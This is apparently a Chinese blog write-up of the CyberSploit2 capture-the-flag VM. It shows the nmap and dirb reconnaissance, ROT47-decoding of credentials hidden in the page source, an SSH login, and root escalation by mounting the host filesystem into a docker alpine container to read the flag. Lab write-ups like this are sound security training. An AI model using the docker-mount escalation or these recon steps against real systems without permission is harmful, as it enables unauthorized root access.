CyberSploit2-writeup

本文档详细记录了CyberSploit2靶机的漏洞利用过程。首先通过nmap扫描发现目标IP并确定其开放了80端口。在浏览器中访问80端口发现大量用户名和密码,接着使用dirb工具扫描网站目录,找到隐藏的noindex页面。通过ROT47解码用户名和密码,成功SSH登录到系统。进入后发现是docker环境,遵循常规提权手段,检查镜像并尝试联网拉取新的image进行进一步操作。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

CyberSploit2-writeup

0x00 发现目标

导入CyberSploit2.ova文件,配置好网络模式为桥接模式

nmap扫描局域网nmap -sn 16.16.16.0/24发现目标IP是16.16.16.171

使用nmap扫描下端口nmap -sV 16.16.16.171

root@kali:~# nmap -sV 16.16.16.171
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-18 11:48 CST
Nmap scan report for 16.16.16.171
Host is up (0.00013s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.0 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.37 ((centos))
MAC Address: F8:FF:C2:4C:7B:F3 (Unknown)

发现是开了80端口的,我们使用Firefox打开看一下

image-20200818135056844

这么多的用户名和密码,不知道会有什么用处,不着急,我们用dirb爬下网站目录看看有没有其他页面。

---- Scanning URL: http://16.16.16.171/ ----
+ http://16.16.16.171/cgi-bin/ (CODE:403|SIZE:217)
+ http://16.16.16.171/index.html (CODE:200|SIZE:3471)
==> DIRECTORY: http://16.16.16.171/noindex/

---- Entering directory: http://16.16.16.171/noindex/ ----
==> DIRECTORY: http://16.16.16.171/noindex/common/
+ http://16.16.16.171/noindex/index (CODE:200|SIZE:4006)
+ http://16.16.16.171/noindex/index.html (CODE:200|SIZE:4006)

---- Entering directory: http://16.16.16.171/noindex/common/ ----
==> DIRECTORY: http://16.16.16.171/noindex/common/css/
==> DIRECTORY: http://16.16.16.171/noindex/common/fonts/
==> DIRECTORY: http://16.16.16.171/noindex/common/images/

---- Entering directory: http://16.16.16.171/noindex/common/css/ ----
+ http://16.16.16.171/noindex/common/css/styles (CODE:200|SIZE:71634)

---- Entering directory: http://16.16.16.171/noindex/common/fonts/ ----

---- Entering directory: http://16.16.16.171/noindex/common/images/ ----

noindex是个欢迎页面,其他好像没啥值得关注的。

看看index.html的源码发现了个注释

image-20200818135451212

百度一下,ROT47是一种编码转换。

仔细一看,用户名和密码有一列,第4列像是编码过的,我们用ROT47转换一下。

得到对应的值

usernamepassword
shailendracybersploit1

试着ssh下,还真进了。

[shailendra@localhost ~]$ ls
hint.txt

有个提示文本,看看内容

docker

看来进的docker,我们使用docker提权套路

先查看下是否有image,没有就联网拉个。

docker pull alpine

挂载根目录到docker镜像内

[shailendra@localhost ~]$ docker run -v /:/mnt  -it alpine
/ # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/ # cd /mnt
/mnt # ls
bin    dev    home   lib64  mnt    proc   run    srv    tmp    var
boot   etc    lib    media  opt    root   sbin   sys    usr
/mnt # cd /mnt/root
/mnt/root # ls
anaconda-ks.cfg  flag.txt         get-docker.sh    logs}
/mnt/root # cat flag.txt
 __    ___   _      __    ___    __   _____  __
/ /`  / / \ | |\ | / /`_ | |_)  / /\   | |  ( (`
\_\_, \_\_/ |_| \| \_\_/ |_| \ /_/--\  |_|  _)_)

 Pwned CyberSploit2 POC

share it with me twitter@cybersploit1

              Thanks !
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值